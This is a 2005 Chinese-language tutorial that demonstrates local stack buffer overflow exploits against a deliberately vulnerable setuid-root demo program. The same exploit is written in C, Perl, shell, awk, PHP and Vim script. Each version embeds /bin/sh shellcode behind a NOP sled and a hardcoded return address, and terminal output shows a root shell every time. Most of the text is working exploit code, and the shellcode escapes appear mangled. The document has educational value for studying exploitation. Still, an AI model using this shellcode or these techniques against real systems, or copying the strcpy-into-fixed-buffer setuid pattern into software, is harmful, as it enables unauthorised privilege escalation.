作者：watercloud <watercloud _at_ nsfocus.com>
出处：http://www.nsfocus.net
日期：2005-04-04
溢出利用程序不仅仅是只能用c语言编写，其实几乎任何编程语言都能用来编写
溢出利用程序，这里用Linux作为试验平台，以实例演示C、Perl、Shell、Awk
语言编写溢出利用程序。之所以选择这几个语言是因为他们都几乎是Unix系统
自带的语言（商用Unix系统中C语言例外）。示例中基本都是把SHELLCODE放到
环境变量中来实现精确定位的。
<一> 有溢出漏洞的vul.c
[cloud@test]$ id
uid=505(cloud) gid=503(test) groups=503(test)
[cloud@test]$ cat vul.c
/* Demo
Have a bof vul at argv[1].
Write by watercloud @ xfocus.org
*/
#include<stdio.h>
int main(int argc,char * argv[])
{
char buff[32];
if(argc > 1)
{
strcpy(buff,argv[1]);
}
printf("buff : %s/n",buff);
return 0;
}
[cloud@test]$ gcc vul.c -o vul
[cloud@test]$ ls -l vul
-rwxr-xr-x 1 cloud test 11627 2月 24 10:14 vul
[cloud@test]$ sudo chown root vul
[cloud@test]$ sudo chmod u+s vul
[cloud@test]$ ls -lh vul
-rwsr-xr-x 1 root test 11K 2月 24 10:14 vul
<二> C语言版本利用程序ex.c
[cloud@test]$ cat ex.c
/* Demo for exploit bof of "./vul"
Write by watercloud @ xfocus.org
*/
#include <stdio.h>
#define TARGET "./vul"
#define ADDR 0xbffff3e8
char SH[]="1/xc0PPP[YZ4/xd0/xcd/x80"
"j/x0bX/x99Rhn/shh//biT[RSTY/xcd/x80";
int main(int argc,char * argv[])
{
char env_buff[4000];
char cmd_buff[1024];
int i,ret;
unsigned int *pi;
char * pc;
for(i=0;i<3096;env_buff[i++]=0x90){ };
env_buff[i]='/0';
strcat(env_buff,SH);
setenv("KK",env_buff,1);
strcpy(cmd_buff,TARGET);
pc=&cmd_buff[strlen(TARGET)];
*pc++=' ';
for(ret=1,i=0;i<4 && ret;i++)
{
int j;
*pc++='A';
pi=(unsigned int *)pc;
for(j=0;j<20;*pi++=ADDR,j++){};
*pi=0;
ret=system(cmd_buff);
}
return ret;
}
[cloud@test]$ gcc ex.c -o ex
[cloud@test]$ ./ex
buff : A梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
梵�胯??
buff : AA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
胯?胯??
buff : AAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
�胯?胯??
buff : AAAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit
<三> perl语言版本利用程序ex.pl
[cloud@test]$ cat ex.pl
#!/usr/bin/perl
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org
#$ENV_LEN=`env |wc -c`
$SHELL="1/xc0PPP[YZ4/xd0/xcd/x80j/x0bX/x99Rhn/shh//biT[RSTY/xcd/x80";
$ENV{KK}= "/x90"x 3096 . $SHELL;
for($ret=1,$ag="AA",$i=0;$i<4 && $ret; $ag="A"x $i++) {
$ret=system "./vul",$ag. "/xff/xbf/xe8/xf3"x20; #ADDR:0xbffff3e8
}
#EOF
[cloud@test]$ perl ex.pl
buff : AA�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit
<四> Shell语言版本利用程序ex.sh
[cloud@test]$ cat ex.sh
#/bin/bash
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org
#ENV_LEN=`env |wc -c|tr -d ' '`
SH="1/xc0PPP[YZ4/xd0/xcd/x80j/x0bX/x99Rhn/shh//biT[RSTY/xcd/x80";
AG="AA";for (( i=0;i<10;i++));do AG=$AG$AG;done ;AG=$AG$AG$AG #3096
for((i=0;i<20;i++));do AD=$AD"/xff/xbf/xe8/xf3";done #ADDR:0xbffff3e8
export AGSHELL=$AG`echo -e $SH`
for((i=0;i<4;i++)) ;do
AA=$AA"A"
if ./vul $AA`echo -e $AD`
then break
fi
done
#EOF
[cloud@test]$ chmod a+x ex.sh
[cloud@test]$ ./ex.sh
buff : A�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
�胯?胯?
./ex.sh: line 16: 5287 段错误 ./vul $AA`echo -e $AD`
buff : AA�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit
<五> awk语言版本利用程序ex.awk
[cloud@test]$ cat ex.awk
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org
BEGIN{
SH="1/xc0PPP[YZ4/xd0/xcd/x80j/x0bX/x99Rhn/shh//biT[RSTY/xcd/x80";
AG="AA";
for ( i=0;i<10;i++)
{
AG=AG""AG;
}
AG=AG""AG""AG #3096
for(i=0;i<20;i++)
{
AD=AD"/xe8/xf3/xff/xbf"; #ADDR:0xbffff3e8
}
AA="AA"
for(i=0;i<4;i++)
{
AA=AA"A"
system("./vul "AA""AD" "AG""SH)
}
}
#EOF
[cloud@test]$ gawk -f ex.awk /dev/null
buff : AAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
buff : AAAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b#
<六> PHP版本
[cloud@MagicLinux tmp]$ id
uid=502(cloud) gid=502(cloud) groups=502(cloud)
[cloud@MagicLinux tmp]$ ls -l vul
-rwsr-xr-x 1 root root 4895 2月 26 20:57 vul
[cloud@MagicLinux tmp]$ cat ex.php
<?php
$SH="1/xc0PPP[YZ4/xd0/xcd/x80j/x0bX/x99Rhn/shh//biT[RSTY/xcd/x80";
$AG="AA";
for( $i=0;$i<10;$i++){
$AG.=$AG;
}
$AG.=$AG.$AG; #3096
for($i=0;$i<20;$i++) {
$AD.="/xff/xbf/xe8/xf3";#ADDR:0xbffff3e8
}
for($i=0;$i<4;$i++) {
$AA.="A";
print system("./vul ".$AA.$AD.$AG.$SH);
}
?>
[cloud@MagicLinux tmp]$ php ex.php 1>/dev/null
id >&2
uid=0(root) gid=502(cloud) groups=502(cloud)
exit
[cloud@MagicLinux tmp]$
<七> Vim扩展脚本版本
连vim编辑器的扩展编程脚本也可以拿来写溢出的说：
[cloud@MagicLinux tmp]$ id
uid=502(cloud) gid=502(cloud) groups=502(cloud)
[cloud@MagicLinux tmp]$ cat ex.vim
let SH="1/xc0PPP[YZ4/xd0/xcd/x80j/x0bX/x99Rhn/shh//biT[RSTY/xcd/x80"
let AG="AA"
let i=0
while(i<10)
let AG=AG.AG
let i=i+1
endwhile
let AG=AG.AG.AG
"len of AG is 3096
let AD=""
let i=0
while(i<20)
let AD=AD."/xff/xbf/xe8/xf3"
"ADDR:0xbffff3e8
let i=i+1
endwhile
let AA=""
let i=0
while(i<4)
let AA=AA."A"
execute "!./vul ". AA . AD . AG . SH
let i=i+1
endwhile
[cloud@MagicLinux tmp]$ ls -l vul
-rwsr-xr-x 1 root root 4895 2月 26 20:57 vul
[cloud@MagicLinux tmp]$ vim -eS ex.vim
Xlib: connection to ":0.0" refused by server
Xlib: No protocol specified
buff : A�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯�胯驛AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
……………………………………………………………………
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1繮PP[YZ4型�j
X橰hn/shh//biT[RSTY蛝
sh-2.05b# id
uid=0(root) gid=502(cloud) groups=502(cloud)
sh-2.05b#
<八> ……
<九> 小语
溢出的根本在于地址定位、堆栈等数据结构的使用约定和组织、操作系统运行时结构等
了解这些知识后溢出利用本生和编程语言是没有关系的。
